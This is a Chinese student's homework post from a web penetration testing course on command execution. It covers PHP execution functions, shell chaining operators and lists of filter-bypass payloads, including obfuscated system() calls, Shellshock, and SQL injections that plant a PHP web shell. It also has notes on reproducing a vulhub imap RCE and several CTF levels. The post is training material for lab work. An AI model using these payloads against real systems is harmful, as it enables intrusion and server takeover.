[i=s] 本帖最后由 zeke 于 2025-9-12 10:38 编辑 [/i]
WEB渗透测试工程师系统班250303期
第35节课作业
1.命令执行的函数有哪些
一、核心命令执行函数
1. system()
system('whoami'); // 执行命令并直接输出结果
2. exec()
exec('whoami', $output, $return_var);
print_r($output); // 需要手动输出结果
- 执行命令但不直接输出结果
- 将结果存储在数组中
- 返回最后一行结果
3. shell_exec()
$result = shell_exec('whoami');
echo $result; // 需要手动输出结果
4. passthru()
passthru('whoami'); // 直接输出原始结果
二、反引号运算符
5. 反引号 ``
$result = `whoami`; // 等同于 shell_exec()
echo $result;
- 执行操作符,功能同
shell_exec()
- 最简洁的命令执行方式
三、进程控制函数
6. proc_open()
$process = proc_open('whoami', [
0 => ['pipe', 'r'], // 标准输入
1 => ['pipe', 'w'], // 标准输出
2 => ['pipe', 'w'] // 标准错误
], $pipes);
echo stream_get_contents($pipes[1]);
proc_close($process);
7. popen()
$handle = popen('whoami', 'r');
echo fread($handle, 2096);
pclose($handle);
四、其他相关函数
8. pcntl_exec() (需要pcntl扩展)
pcntl_exec('/bin/bash', ['-c', 'whoami']);
9. dl() + 扩展函数 (不常用)
dl('ssh2.so');
// 然后使用ssh2_exec等函数
五、编程语言执行函数
10. eval()
eval('system("whoami");'); // 执行PHP代码,可间接执行命令
11. assert()
assert('system("whoami")'); // 执行PHP代码
六、特殊用途函数
12. mail() (间接)
// 通过mail函数的第五参数执行命令
mail('', '', '', '', '-f"`whoami`"');
13. imagemagick函数 (间接)
// 通过处理外部文件执行命令
2.命令执行中,linux的拼接符有哪些,说明每个拼接符的含义
一、基本命令拼接符
1. 分号 ;
含义:按顺序执行多个命令,无论前一个命令是否成功
bash
command1 ; command2 ; command3
示例:
bash
echo "First" ; echo "Second" ; echo "Third"
# 输出:First → Second → Third(无论哪个命令失败都会继续)
2. 与号 &&
含义:只有前一个命令成功(返回0)才执行下一个命令
bash
command1 && command2 && command3
示例:
bash
cd /exist_directory && ls -la
# 只有cd成功才会执行ls
3. 或号 ||
含义:只有前一个命令失败(返回非0)才执行下一个命令
bash
command1 || command2 || command3
示例:
bash
cd /nonexistent || echo "Directory not found"
# 如果cd失败,则执行echo
4. 管道符 |
含义:将前一个命令的输出作为后一个命令的输入
bash
command1 | command2 | command3
示例:
bash
cat file.txt | grep "search" | wc -l
# 搜索file.txt中包含"search"的行数
二、高级拼接符
5. 后台执行 &
含义:在后台运行命令,立即返回提示符
bash
command1 & command2
示例:
bash
sleep 10 & echo "Command running in background"
# sleep在后台运行,立即执行echo
6. 组合命令 {}
含义:将多个命令组合在一起执行
bash
{ command1; command2; command3; }
示例:
bash
{ echo "Start"; date; echo "End"; } > log.txt
# 将所有输出重定向到log.txt
7. 子shell ()
含义:在子shell中执行命令组合
bash
(command1; command2; command3)
示例:
bash
(cd /tmp && ls -la)
# 在子shell中切换目录,不影响当前shell
三、特殊拼接技巧
8. 命令替换 $() 和反引号
含义:将一个命令的输出作为另一个命令的参数
bash
echo "Today is $(date)"
echo "User is `whoami`"
9. 进程替换 <() 和 >()
含义:将命令输出作为文件处理
bash
diff <(ls dir1) <(ls dir2)
3.命令执行的绕过方式有哪些
一、空格绕过
1. 特殊变量代替空格
bash
${IFS}
$IFS$9
$IFS
{cat,flag.txt} # 花括号扩展
2. 重定向符号代替空格
bash
cat<>flag.txt
cat<flag.txt
3. URL编码
bash
%09 # Tab
%20 # 空格
%0a # 换行符
%0d # 回车符
4. 其他字符
bash
cat;flag.txt # 分号(需要支持)
cat${IFS}flag.txt
二、关键字绕过
1. 字符串拼接
bash
c'a't flag.txt
c"a"t flag.txt
c\a\t flag.txt
2. 变量替换
bash
a=c;b=at;$a$b flag.txt
x=$'c\x61t';$x flag.txt
3. 编码绕过
bash
# Base64
echo 'Y2F0IGZsYWcudHh0' | base64 -d
# Hex编码
echo '63617420666c61672e747874' | xxd -r -p
# Unicode编码
echo $'\u0063\u0061\u0074\u0020\u0066\u006c\u0061\u0067\u002e\u0074\u0078\u0074'
4. 通配符
bash
cat fla*
cat fla?txt
cat /???/???/fla*
三、命令分隔符绕过
1. 多命令执行
bash
command1;command2 # 无论成功与否都执行
command1&&command2 # 前一个成功才执行后一个
command1||command2 # 前一个失败才执行后一个
2. 子shell和组合
bash
(command1; command2)
{ command1; command2; }
3. 管道和重定向
bash
command1 | command2
command1 > file.txt
四、特殊技巧绕过
1. 反引号命令替换
bash
echo `whoami`
echo $(whoami)
2. 环境变量利用
bash
# 通过环境变量执行
env x='() { :;}; echo vulnerable' bash -c "echo test"
# 通过PATH执行
PATH=/tmp:$PATH; echo '/bin/sh' > /tmp/ls; chmod +x /tmp/ls
3. 时间盲注
bash
ping -c 4 127.0.0.1 && cat flag.txt # 通过时间判断
sleep 5 && cat flag.txt
五、PHP特定绕过
1. 函数选择绕过
php
system() // 被过滤时用其他函数
passthru()
exec()
shell_exec()
`反引号`
proc_open()
popen()
2. 字符串构造技巧
php
// 拼接
$_='sy'.'stem';$_('whoami');
// 异或运算
$_=('%13%19%13%14%12%0a'^'%60%60%60%60%60%60');$_('whoami');
// 取反
$__=('>'>'<')+('>'>'<');$_=$__/$__;$_++;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_=$____;$_('whoami');
3. 超全局变量利用
php
// 通过GET参数传递命令
$_GET['a']($_GET['b']); // ?a=system&b=whoami
// 通过POST数据
file_get_contents('php://input');
六、数据库命令执行绕过
1. SQL注入中的命令执行
sql
-- MySQL
' UNION SELECT 1,2,3 INTO OUTFILE '/tmp/test.php' --
-- PostgreSQL
'; COPY (SELECT '<?php system($_GET[cmd]); ?>') TO '/var/www/html/shell.php' --
-- SQL Server
'; EXEC xp_cmdshell 'whoami' --
七、文件包含绕过
1. 利用文件包含执行命令
php
// 包含日志文件
include('/var/log/apache2/access.log');
// 包含上传文件
include('/tmp/uploaded_file.php');
// 包含PHP输入流
include('php://input');
八、编码和加密绕过
1. 多种编码方式
bash
# URL编码
cat%20flag.txt
# Double URL编码
cat%2520flag.txt
# HTML编码
cat flag.txt
# Unicode编码
cat\u0020flag.txt
九、WAF绕过技巧
1. 大小写绕过
bash
Cat flag.txt
CAT flag.txt
cAt flag.txt
2. 双写绕过
bash
ccat flag.txt
catcat flag.txt
3. 插入特殊字符
bash
c\at flag.txt
ca\t flag.txt
cat fla%00g.txt
4. 注释符绕过
bash
cat/*123*/flag.txt
cat<!---->flag.txt
4.复现vulhub靶场php imap命令执行
注册抓包,修改信息,用-oProxyCommand=调用第三方命令
echo '1234567890'>/tmp/test0001

docker compose exec web bash查看文件/tmp/test0001
5.复现课堂的4个ctf绕过案例
环境准备:
kali在/var/www/html下面放1.php 2.php 3.php 4.php四关
同时存放flag.php,该文件写入任意内容
开启apache2服务
第一关:1.php

第二关:2.php

第三关:3.php
①%60...%60:使用反引号代替shell_exec(),避开shell关键词过滤
②tac:使用tac代替cat,避开cat关键词过滤
③%09:使用Tab代替空格,避开空格字符过滤
④/var/www/html/fla*:
使用绝对路径避免相对路径中的点号
使用通配符*匹配flag.php(可能是flagphp或其他名称)
避开点号.过滤
⑤整体字符串:不包含flag|system|php|cat|sort|shell|.| |'中的任何内

一、笔记标题:WEB渗透系统班-RCE-命令执行漏洞(上)+RCE-命令执行漏洞(下)
二、文章内容:
1.课程内容概要
主要知识点1:命令执行函数
主要知识点2:
主要知识点3:
2.重点知识与细节
概念解析
概念1:无
概念2:
关键步骤
步骤1:无
步骤2:
步骤3:
相关代码
1.php

2.php

3.php

3.实操练习和解析
如作业
4.个人总结
本节课最大的收获是:练习了命令执行漏洞
仍然存在疑问的地方:暂无
需要课后深入学习的内容:熟练应用